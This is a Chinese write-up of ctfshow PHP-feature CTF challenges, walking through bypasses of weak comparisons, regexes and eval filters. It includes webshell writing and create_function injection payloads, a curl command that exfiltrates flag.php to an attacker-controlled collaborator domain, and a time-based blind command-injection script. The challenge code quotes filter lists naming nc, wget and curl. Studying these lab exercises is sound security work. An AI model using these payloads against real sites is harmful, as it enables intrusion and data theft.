ctfshow-php特性

大佬文章

intval 的绕过

正则匹配

sha1md5 的绕过

php 运算符优先级

php://fliter 的各种过滤器

正则匹配的回溯

php 正则匹配最大回溯

linuxcurl命令用法

无回显 rce 的总结

命令执行总结

  • 本文中引用的所有文章都在上面了,感谢各位大佬!

web96

if(isset($_GET['u'])){if($_GET['u']=='flag.php'){die("no no no");}else{highlight_file($_GET['u']);}
}
  • ./ 表示当前目录,故 u=./flag.php 即可

web97

if (md5($_POST['a']) === md5($_POST['b']))
  • md5 函数传入数组时候会返回 NULL,故传入两个数组即可

web99

<?php
highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) { array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){file_put_contents($_GET['n'], $_POST['content']);
}
>
  • 源码中 in_array函数 没有第三个参数(严格检查),这样只会进行弱类型比较,不会检查数据类型。

因此会将如 60shell.php 识别为 60 后再进行检查。所以令 n=60shell.php,之后写入木马,多刷新几遍即可

web100

<?php
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){if(!preg_match("/\;/", $v2)){if(preg_match("/\;/", $v3)){eval("$v2('ctfshow')$v3");}}
}
?>
  • php 运算符优先级:&& > || > = > and > or

所以检查时候只要 v1 是数字,然后利用 v2v3 来注释掉中间的 ctfshow 即可

web101

比上一题多过滤了好多

  • ReflectionClass类:可以报告一个类的有关信息

直接 echo new Reflectionclass('ctfshow'); 即可

web102

highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){$s = substr($v2,2);$str = call_user_func($v1,$s);echo $str;file_put_contents($v3,$str);
}
else{die('hacker');
}
  • php5is_numberic 可以识别 16 进制,而 php7 不行

考虑 v1=hex2str(十六进制转码),这样就可以把任意的代码通过 v2 写入指定文件了

只不过对 v2is_numbertic 检查十分讨厌,只有 <?=`cat *`; 经过 base64 编码后的字符串满足条件

考虑 v3=php://filter/wrrite=convert.base64-decode/resource=1.php,之后访问 1.php 即可

web105

include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){if($key==='error'){die("what are you doing?!");}$$key=$$value;
}
foreach($_POST as $key => $value){if($value==='flag'){die("what are you doing?!");}$$key=$$value;
}
if(!($_POST['flag']==$flag)){die($error);
}
echo "your are good".$flag."\n";
die($suces);
  • $$keyphp 中相当于 $($key)(比如说 $key=a的情况下 $$key 相当于 $a)

这样 get 请求为 x=flagpost 请求为 error=x 即可

复盘时看到了一种有意思的解法,只发送 get请求:suces=flag&flag=,这样子会直接输出 $suces,从而得到 flag

web106

  • sha1md5 的绕过

web108

include("flag.php");if (ereg ("^[a-zA-Z]+$", $_GET['c']===FALSE)  {die('error');
}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){echo $flag;
}
  • ereg 函数存在 %00 截断的漏洞

因此直接 ?c=%00778 即可

web109

highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){$v1 = $_GET['v1'];$v2 = $_GET['v2'];if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){eval("echo new $v1($v2());");}}

php 原生类利用

  • __toString:当一个对象被当作字符串对待的时候,会触发这个魔术方法

需要找到含有 __toString 方法的原生类,之后令 v2=system('cat flag') 即可输出

原代码为 $v2(),意思是将 v2 的结果当作函数名调用所以没有影响

web110

大概比上面那个多过滤了好多符号,反正括号和引号是不能用了

  • FilesystemIterator:文件系统遍历器

    getcwd:获取当前路径

通过以上两个的结合,可知 flag 的名字,之后直接访问即可

web111

  • GLOBALS:引用全局作用域中可用的全部变量

web112

  • php://fliter 的各种过滤器

当然,这题可以不用过滤器

web113

highlight_file(__FILE__);
error_reporting(0);
function filter($file){if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){die('hacker!');}else{return $file;}
}
$file=$_GET['file'];
if(! is_file($file)){highlight_file(filter($file));
}else{echo "hacker!";
}
  • is_file 函数漏洞:函数处理目录长度有某个限制,超过这个限制即可

/proc/self/root 是指向根目录的连接,多次重复这个即可

web126

error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
echo $a[1];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){eval("$c".";");  if($fl0g==="flag_give_me"){echo $flag;}}else{echo "hacker";}
}
  • $server

    pause_str:将字符串转化为多个变量

    assert

$_SERVER['argv'] 可以读取 get 传参的内容。考虑和 pause_str 一起使用,将传入的参数解析成一个数组即可(或者和 assert 一起使用)

web127

  • $_SERVER['QUERY_STRING'] 不会进行 urldecode$_GET 会,所以用 url 编码绕过即可

web128

$f1 = $_GET['f1'];
$f2 = $_GET['f2'];
if(check($f1)){var_dump(call_user_func(call_user_func($f1,$f2)));
}else{echo "嗯哼?";
}
function check($str){return !preg_match('/[0-9]|[a-z]/i', $str);
}
  • gettext():返回字符串的函数

    get_defined_vars():返回由所有已定义变量所组成的数组

_() 可以代替 gettext,这样就绕过了对第一个参数的检查

web131

include("flag.php");
if(isset($_POST['f'])){$f = (String)$_POST['f'];if(preg_match('/.+?ctfshow/is', $f)){die('bye!');}if(stripos($f,'36Dctfshow') === FALSE){die('bye!!');}echo $flag;
}
  1. php 正则匹配:

    • 贪婪模式:匹配结果出现多种情况时,选择最长的那个

    • 懒惰模式:匹配结果出现多种情况时,选择最短的那个(由 ? 修饰)

  2. 正则匹配的回溯:正则匹配时会对匹配成功的字串进行压栈,以便于失配后的状态回溯

  3. php 正则匹配最大回溯:当压栈数量超过 php 设定最大值时,会直接停止匹配

题目中正则表达式 +? 会出现最大回溯超过设定值的问题,如果在字符串 36Dctfshow 前加上好多其他的字符,会导致 preg_match 返回 false 从而达到绕过的效果

web132

  • php 逻辑运算符短路:

    false && ...&& 后面的不会执行

    true || ...|| 后面的不会执行

web133

error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){eval(substr($F,0,6));}else{die("6个字母都还不够呀?!");}
}
  • linuxcurl命令用法

考虑上传 `$F`,其中反引号是 shell_exec() 的缩写,这样就可以实现对 $F 的自我调用,从而达到命令执行

构造 $F 前六位为 `$F%20`;,这样相当于执行 eval(shell_exec($F););。然后在这六位后面加上想要执行的命令即可

发现这题是无回显 rce,考虑将 flag 外带。在 burpsuite 上的 collaborator 插件申请一个子域名,之后用 curl -F hungry=flag.php [子域名] 这样的语句就能把 flag.php 发送到自己的服务器上了

web135

if($F = @$_GET['F']){if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){eval(substr($F,0,6));}else{die("师傅们居然破解了前面的,那就来一个加强版吧");}
}
  • 无回显 rce 的总结

过滤的不严,直接用类似于 ca''t flag.php > 1.txt 的命令就能把 flag.php 写入到其他文件中

web136

function check($x){if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){die('too young too simple sometimes naive!');}
}
if(isset($_GET['c'])){$c=$_GET['c'];check($c);exec($c);
}
else{highlight_file(__FILE__);
}
  • linux tee 命令:感觉和 > 的作用差不多

    linux xargs 命令:主要是和管道一起使用,将管道左侧的标准输入转化为命令行输入

    linux sed 命令:文本修改工具

标准解法使用 tee 命令替换 >,将所需执行的命令写入其他文件中并读取

还有一个很有意思的解法是直接对源码进行修改

ls | xargs sed -i "s/die/echo/"

ls | xargs sed -i "s/exec/system/"

大概意思是对于目录下的所有文件,把文件中的 die 转化为 echoexec 转化为 system,之后直接命令执行即可

web139

web136 的加强版,这里没有写的权限了

考虑时间盲注,这个是我的判断语句(其中 th 是所求字符串的第几个字符,c 是可能的字符集):
if [ `cat /f149_15_h3r3|args| awk \"NR==1 \"| cut -c {th}` == \"{c}\" ];then sleep 2;fi

粘上脚本

import requests
import time
import string
all_str = string.ascii_letters + string.digits + "\{\}_-<?>"
print(all_str)
url = "http://49c10546-c240-4770-9a4d-6344ac375b3e.challenge.ctf.show/?c="
def decode(line, th):for c in all_str:payload = f"if [ `cat /f149_15_h3r3|xargs| awk \"NR=={line} \"| cut -c {th}` == \"{c}\" ];then sleep 2;fi"try:requests.get(url + payload, timeout = 0.5)except:return creturn " "if __name__ == '__main__':print(requests.get(url=url).elapsed.total_seconds())line = 1length = 100for i in range(1, line + 1):print(f"line {i} begin!")ans = ""for j in range(1, length + 1):ans = ans + decode(i, j)print(ans)
#ctfshow 7e3cc34b-cd5d-4bbc-8250-39c7720c6188 

web140

  • php 弱类型比较

web147


highlight_file(__FILE__);if(isset($_POST['ctf'])){$ctfshow = $_POST['ctf'];if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) {$ctfshow('',$_GET['show']);}}
  1. 命令执行总结:文章里面介绍了 create_function 函数的注入

  2. php 所有原生函数都在 \ 命名空间中

考虑 create_function 注入:

ctf = \create_function

show = }system("cat flag");/*

即可

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/727674.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【java 基础】闲话 ClassLoader 和 资源读取

文章目录 ClassLoader再探tomcat的类加载器spring 的类加载器springboot 的类加载器 正确获取ClassLoader获取当前线程的ContextClassLoader加载当前类的ClassLoader不常用的获取 ClassLoader的方法 使用ClassLoader的读取资源ClassLoader 有几个常用的资源加载方法Class 的资源…

【操作系统概念】 第7章:死锁

文章目录 0.前言7.1 系统模型7.2 死锁特征7.2.1 必要条件7.2.2 资源分配图 7.3 死锁处理方法7.4 死锁预防&#xff08;deadlock prevention&#xff09;7.4.1 互斥7.4.2 占有并等待7.4.3 非抢占7.4.4 循环等待 7.5 死锁避免&#xff08;deadlock-avoidance&#xff09;7.5.1 安…

b站小土堆pytorch学习记录—— P25-P26 网络模型的使用和修改、保存和读取

文章目录 一、修改1.方法2.代码 二、保存和读取1.方法2.代码&#xff08;1&#xff09;保存&#xff08;2&#xff09;加载 3.陷阱 一、修改 1.方法 add_module(name: str, module: Module) -> None name 是要添加的子模块的名称。 module 是要添加的子模块。 调用 add_m…

练习 6 Web [极客大挑战 2019]HardSQL

[极客大挑战 2019]HardSQL 先尝试登录&#xff0c;查看报错信息 admin 111 password 1111 登录失败admin 111 password 1’or’1 登录成功 这里直接试了万能密码成功&#xff0c;复习一下&#xff0c;第一个 ’ 是为了闭合前面的sql语句&#xff0c;最后的1后面没有 ’ 是因为…

如何学习I2C协议

文章目录 学习I2C协议0 懒人直达1 了解协议开发者2 从恩智浦半导体公司下载官方技术文档3 翻译成中文4 资源下载 学习I2C协议 0 懒人直达 点击直达 1 了解协议开发者 I2C&#xff08;Inter-Integrated Circuit&#xff09;协议是由荷兰皇家飞利浦电子公司&#xff08;现恩智…

008-跨域

跨域 什么是跨域&#xff1f;非同源限制跨域解决方案CORSJSONP服务器进行第三方代理webscoketwindow.postMessage 什么是跨域&#xff1f; 同源策略&#xff1a;协议相同、域名相同、端口号相同 的两个页面被认为是同源。 由一个页面的 js 访问不同源的页面内容&#xff0c;被…

Window11 Ubuntu双系统安装

一、制作启动盘 ubuntu下载&#xff1a;https://cn.ubuntu.com/download 启动盘工具&#xff1a;https://cdimage.deepin.com/applications/deepin-boot-maker/windows/deepin-boot-maker.exehttps://cdimage.deepin.com/applications/deepin-boot-maker/windows/deepin-boot…

HTTP代理ip如何助旅游大数据领域?怎么去建立安全代理隧道连接?

HTTP代理IP在旅游大数据领域的应用主要体现在以下几个方面&#xff1a; 数据抓取&#xff1a;旅游大数据的获取往往需要从各种在线旅游平台、社交媒体、评论网站等抓取数据。使用HTTP代理IP可以在抓取过程中隐藏真实IP&#xff0c;避免被目标网站封锁&#xff0c;从而持续、稳定…

LeetCode 刷题 [C++] 第300题.最长递增子序列

题目描述 给你一个整数数组 nums &#xff0c;找到其中最长严格递增子序列的长度。 子序列 是由数组派生而来的序列&#xff0c;删除&#xff08;或不删除&#xff09;数组中的元素而不改变其余元素的顺序。例如&#xff0c;[3,6,2,7] 是数组 [0,3,1,6,2,2,7] 的子序列。 题目…

代码随想录算法训练营第25天|● 216.组合总和|||● 17.电话号码的字母组合

216.组合总和||| 思路:这题和77题的组合思路差不多一样,只是多了一步判断加起来的和是否和目标值相等,并且回溯需要把相应的值减去。 代码: vector<vector<int>> result;vector<int> path;void backtracking(int k,int targetSum,int sum,int startIndex)…

CTP-API开发系列之五:SimNow环境介绍

CTP-API开发系列之五&#xff1a;SimNow环境介绍 CTP-API开发系列之五&#xff1a;SimNow环境介绍SimNow模拟测试环境第一套第二套登录关键字段可视化终端常见问题 CTP-API开发系列之五&#xff1a;SimNow环境介绍 如果你要研发一套国内期货程序化交易系统&#xff0c;从模拟测…

设计模式在芯片验证中的应用——备忘录

1. 前言 软件设计模式定义了一组类和它们之间的关系&#xff0c;它们相互作用用以解决软件开发过程中面临的常见问题。由于验证工程师所做工作的重要部分包括使用面向对象语言(如SystemVerilog)进行编码&#xff0c;因此许多遇到的挑战都适合应用特定的设计模式来解决。将它们…

SCCM部署时遇到的问题:无法连接到SQL Server

根据提示信息逐一排除以下问题&#xff1a; 1、确保SQL服务器名称是否正确。 2、确保TCP1433和4022端口有没有被防火墙屏蔽。 3、站点服务器帐号加入SQLServer的sysadmin角色成员里 、确保SQL实例没有使用动态端口&#xff0c;可参考&#xff1a; Configure SQL Server to…

贪心 Leetcode 763 划分字母区间

划分字母区间 Leetcode 763 学习记录自代码随想录 给你一个字符串 s 。我们要把这个字符串划分为尽可能多的片段&#xff0c;同一字母最多出现在一个片段中。 注意&#xff0c;划分结果需要满足&#xff1a;将所有划分结果按顺序连接&#xff0c;得到的字符串仍然是 s 。 返…

题目 1572: 蓝桥杯-进制转换

题目描述: 程序提示用户输入三个字符&#xff0c;每个字符取值范围是0-9&#xff0c;A-F。然后程序会把这三个字符转化为相应的十六进制整数&#xff0c;并分别以十六进制&#xff0c;十进制&#xff0c;八进制输出。 代码: package lanqiao;import java.util.*;public clas…

重新启动vue-shop-maseter主支任务

以下是命令行&#xff0c;cmd任务管理程序进程中… 这部分是部分源码&#xff0c;用H5编辑器写的 等待慢慢启动重启中。。。。 然而没有反应&#xff0c;不知道为什么&#xff1f; 花里胡哨的&#xff0c;更加没看懂了。 我这暴脾气&#xff0c;气得我直接一顿乱敲 要怎…

C语言基础练习——Day01

目录 选择题 编程题 打印从1到最大的n位数 计算日期到天数转换 选择题 1、执行下面程序&#xff0c;正确的输出是 int x5,y7; void swap(int x, int y) {int z;zx;xy;yz; } int main() { int x3,y8; swap(int x, int y);printf("%d,%d\n"&#xff0c;x, y);return …

vue3怎么设置路由 Vue Route

1. 安装Vue Router npm install vue-router 2. 创建Home.vue组件 在 src/views 目录下创建一个名为 Home.vue 的文件&#xff1a; <!-- <template> 标签是Vue组件的模板部分&#xff0c;其中包含了组件的HTML结构。 --> <template><div><h1>…

2024年最新阿里云服务器地域选择方法,以及可用区说明

阿里云服务器地域和可用区怎么选择&#xff1f;地域是指云服务器所在物理数据中心的位置&#xff0c;地域选择就近选择&#xff0c;访客距离地域所在城市越近网络延迟越低&#xff0c;速度就越快&#xff1b;可用区是指同一个地域下&#xff0c;网络和电力相互独立的区域&#…

iostat命令详解

转载说明&#xff1a;如果您喜欢这篇文章并打算转载它&#xff0c;请私信作者取得授权。感谢您喜爱本文&#xff0c;请文明转载&#xff0c;谢谢。 iostat是一个使用频率较高的命令&#xff0c;主要用来统计和输出CPU和磁盘IO信息。它的安装很简单&#xff1a; # yum -y insta…